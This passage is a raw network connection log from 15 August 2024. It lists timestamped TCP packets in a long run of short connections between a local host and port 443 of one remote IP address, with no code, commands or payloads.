Aug 15, 2024 08:10:45.873661041 CEST	443	50298	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.878192902 CEST	50299	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.878272057 CEST	443	50299	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.881624937 CEST	50299	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.890964031 CEST	50299	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.891040087 CEST	443	50299	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.891072989 CEST	443	50299	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.900021076 CEST	50300	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.900099039 CEST	443	50300	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.901470900 CEST	50300	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.911108971 CEST	50300	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.911175966 CEST	443	50300	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.911217928 CEST	443	50300	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.915894985 CEST	50301	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.915931940 CEST	443	50301	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.917453051 CEST	50301	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.926492929 CEST	50301	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.926510096 CEST	443	50301	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.926526070 CEST	443	50301	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.931068897 CEST	50302	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.931148052 CEST	443	50302	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.931410074 CEST	50302	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.940954924 CEST	50302	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.941029072 CEST	443	50302	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.941061974 CEST	443	50302	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.945781946 CEST	50303	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.945862055 CEST	443	50303	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.946116924 CEST	50303	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.955847979 CEST	50303	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.955924988 CEST	443	50303	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.955959082 CEST	443	50303	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.960486889 CEST	50304	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.960530043 CEST	443	50304	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.960654020 CEST	50304	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.970591068 CEST	50304	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.970602036 CEST	443	50304	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.970618010 CEST	443	50304	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.975322008 CEST	50305	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.975366116 CEST	443	50305	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.975711107 CEST	50305	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.985234976 CEST	50305	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.985249043 CEST	443	50305	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.985266924 CEST	443	50305	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.989696980 CEST	50306	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.989705086 CEST	443	50306	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.989860058 CEST	50306	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.999471903 CEST	50306	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.999481916 CEST	443	50306	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.999500990 CEST	443	50306	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.004141092 CEST	50307	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.004153967 CEST	443	50307	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.004225016 CEST	50307	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.014911890 CEST	50307	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.014923096 CEST	443	50307	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.014945984 CEST	443	50307	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.019321918 CEST	50308	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.019330978 CEST	443	50308	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.019448996 CEST	50308	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.027290106 CEST	50308	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.027299881 CEST	443	50308	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.027318954 CEST	443	50308	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.031698942 CEST	50309	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.031707048 CEST	443	50309	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.031928062 CEST	50309	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.040926933 CEST	50309	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.040936947 CEST	443	50309	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.040956020 CEST	443	50309	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.053811073 CEST	50310	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.053827047 CEST	443	50310	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.054069996 CEST	50310	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.067081928 CEST	50310	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.067092896 CEST	443	50310	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.067116022 CEST	443	50310	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.072813034 CEST	50311	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.072830915 CEST	443	50311	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.073117018 CEST	50311	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.089036942 CEST	50311	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.089050055 CEST	443	50311	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.089082956 CEST	443	50311	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.108968019 CEST	50312	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.108993053 CEST	443	50312	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.109072924 CEST	50312	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.122571945 CEST	50312	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.122584105 CEST	443	50312	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.122622967 CEST	443	50312	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.129101038 CEST	50313	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.129137039 CEST	443	50313	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.129353046 CEST	50313	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.141280890 CEST	50313	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.141292095 CEST	443	50313	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.141310930 CEST	443	50313	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.147533894 CEST	50314	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.147542000 CEST	443	50314	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.147649050 CEST	50314	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.161353111 CEST	50314	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.161365986 CEST	443	50314	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.161386013 CEST	443	50314	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.169362068 CEST	50315	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.169373035 CEST	443	50315	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.169437885 CEST	50315	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.178005934 CEST	50315	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.178020954 CEST	443	50315	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.178045988 CEST	443	50315	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.183181047 CEST	50316	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.183196068 CEST	443	50316	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.183253050 CEST	50316	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.196125984 CEST	50316	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.196135044 CEST	443	50316	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.196156025 CEST	443	50316	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.204633951 CEST	50317	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.204648018 CEST	443	50317	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.204782963 CEST	50317	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.224858046 CEST	50317	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.224868059 CEST	443	50317	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.224888086 CEST	443	50317	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.230807066 CEST	50318	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.230815887 CEST	443	50318	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.230889082 CEST	50318	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.240086079 CEST	50318	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.240096092 CEST	443	50318	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.240115881 CEST	443	50318	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.244345903 CEST	50319	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.244360924 CEST	443	50319	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.244419098 CEST	50319	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.254129887 CEST	50319	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.254141092 CEST	443	50319	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.254159927 CEST	443	50319	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.258351088 CEST	50320	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.258377075 CEST	443	50320	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.258467913 CEST	50320	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.267626047 CEST	50320	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.267640114 CEST	443	50320	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.267658949 CEST	443	50320	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.272106886 CEST	50321	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.272134066 CEST	443	50321	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.272197008 CEST	50321	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.281651020 CEST	50321	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.281662941 CEST	443	50321	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.281680107 CEST	443	50321	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.285953999 CEST	50322	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.285964012 CEST	443	50322	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.286020041 CEST	50322	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.294904947 CEST	50322	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.294914961 CEST	443	50322	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.294934034 CEST	443	50322	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.299321890 CEST	50323	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.299335957 CEST	443	50323	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.299413919 CEST	50323	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.308578968 CEST	50323	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.308589935 CEST	443	50323	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.308608055 CEST	443	50323	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.312772989 CEST	50324	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.312781096 CEST	443	50324	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.312840939 CEST	50324	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.322048903 CEST	50324	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.322058916 CEST	443	50324	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.322077990 CEST	443	50324	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.326924086 CEST	50325	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.326932907 CEST	443	50325	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.327112913 CEST	50325	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.343760014 CEST	50325	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.343770027 CEST	443	50325	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.343789101 CEST	443	50325	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.351691961 CEST	50326	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.351703882 CEST	443	50326	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.351860046 CEST	50326	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.364608049 CEST	50326	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.364618063 CEST	443	50326	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.364638090 CEST	443	50326	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.369621038 CEST	50327	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.369661093 CEST	443	50327	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.369734049 CEST	50327	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.380251884 CEST	50327	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.380269051 CEST	443	50327	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.380295992 CEST	443	50327	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.386511087 CEST	50328	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.386521101 CEST	443	50328	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.386650085 CEST	50328	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.401221037 CEST	50328	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.401233912 CEST	443	50328	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.401252985 CEST	443	50328	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.437573910 CEST	50329	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.437608957 CEST	443	50329	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.437689066 CEST	50329	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.453332901 CEST	50329	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.453344107 CEST	443	50329	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.453372955 CEST	443	50329	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.459697962 CEST	50330	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.459712029 CEST	443	50330	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.459832907 CEST	50330	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.469186068 CEST	50330	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.469197035 CEST	443	50330	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.469213963 CEST	443	50330	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.473568916 CEST	50331	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.473592043 CEST	443	50331	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.473649979 CEST	50331	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.482656002 CEST	50331	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.482669115 CEST	443	50331	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.482686996 CEST	443	50331	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.491736889 CEST	50332	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.491745949 CEST	443	50332	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.491806030 CEST	50332	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.504729986 CEST	50332	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.504746914 CEST	443	50332	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.504766941 CEST	443	50332	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.511336088 CEST	50333	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.511349916 CEST	443	50333	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.511425972 CEST	50333	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.524353981 CEST	50333	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.524365902 CEST	443	50333	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.524382114 CEST	443	50333	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.529920101 CEST	50334	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.529930115 CEST	443	50334	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.529983997 CEST	50334	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.541804075 CEST	50334	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.541815996 CEST	443	50334	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.541832924 CEST	443	50334	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.547374010 CEST	50335	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.547384977 CEST	443	50335	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.547437906 CEST	50335	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.560414076 CEST	50335	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.560424089 CEST	443	50335	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.560442924 CEST	443	50335	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.566273928 CEST	50336	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.566354990 CEST	443	50336	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.566437960 CEST	50336	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.578082085 CEST	50336	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.578155041 CEST	443	50336	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.578191996 CEST	443	50336	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.582636118 CEST	50337	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.582715034 CEST	443	50337	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.582803965 CEST	50337	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.591440916 CEST	50337	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.591516972 CEST	443	50337	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.591552019 CEST	443	50337	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.595825911 CEST	50338	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.595901966 CEST	443	50338	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.595998049 CEST	50338	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.605490923 CEST	50338	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.605566978 CEST	443	50338	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.605597973 CEST	443	50338	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.611612082 CEST	50339	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.611692905 CEST	443	50339	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.612056971 CEST	50339	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.625637054 CEST	50339	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.625714064 CEST	443	50339	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.625745058 CEST	443	50339	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.631043911 CEST	50340	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.631120920 CEST	443	50340	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.631257057 CEST	50340	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.644217968 CEST	50340	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.644325018 CEST	443	50340	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.644364119 CEST	443	50340	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.650387049 CEST	50341	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.650468111 CEST	443	50341	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.650533915 CEST	50341	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.663440943 CEST	50341	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.663515091 CEST	443	50341	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.663548946 CEST	443	50341	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.667592049 CEST	50342	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.667673111 CEST	443	50342	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.671513081 CEST	50342	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.679755926 CEST	50342	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.679826975 CEST	443	50342	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.679858923 CEST	443	50342	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.683913946 CEST	50343	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.683991909 CEST	443	50343	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.684084892 CEST	50343	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.693478107 CEST	50343	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.693547964 CEST	443	50343	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.693578959 CEST	443	50343	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.698082924 CEST	50344	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.698194027 CEST	443	50344	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.698257923 CEST	50344	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.709058046 CEST	50344	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.709132910 CEST	443	50344	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.709165096 CEST	443	50344	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.713639021 CEST	50345	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.713716984 CEST	443	50345	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.713804007 CEST	50345	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.723433971 CEST	50345	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.723505974 CEST	443	50345	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.723542929 CEST	443	50345	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.727638006 CEST	50346	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.727715969 CEST	443	50346	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.731713057 CEST	50346	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.740317106 CEST	50346	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.740392923 CEST	443	50346	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.740432024 CEST	443	50346	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.747519970 CEST	50347	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.747598886 CEST	443	50347	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.747909069 CEST	50347	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.756969929 CEST	50347	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.757045031 CEST	443	50347	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.757158041 CEST	443	50347	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.761394978 CEST	50348	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.761472940 CEST	443	50348	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.761568069 CEST	50348	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.780318975 CEST	50348	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.780390024 CEST	443	50348	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.780539989 CEST	443	50348	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.788844109 CEST	50349	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.788927078 CEST	443	50349	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.789004087 CEST	50349	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.803738117 CEST	50349	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.803812027 CEST	443	50349	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.803858995 CEST	443	50349	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.812555075 CEST	50350	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.812633038 CEST	443	50350	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.812963963 CEST	50350	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.821970940 CEST	50350	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.822056055 CEST	443	50350	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.822092056 CEST	443	50350	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.827428102 CEST	50351	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.827513933 CEST	443	50351	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.827605009 CEST	50351	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.836337090 CEST	50351	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.836415052 CEST	443	50351	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.836447954 CEST	443	50351	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.840692043 CEST	50352	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.840771914 CEST	443	50352	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.841075897 CEST	50352	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.850078106 CEST	50352	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.850153923 CEST	443	50352	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.850186110 CEST	443	50352	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.856988907 CEST	50353	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.857069016 CEST	443	50353	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.857309103 CEST	50353	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.872703075 CEST	50353	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.872737885 CEST	443	50353	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.872808933 CEST	443	50353	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.880016088 CEST	50354	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.880053997 CEST	443	50354	94.141.120.29	192.168.2.4
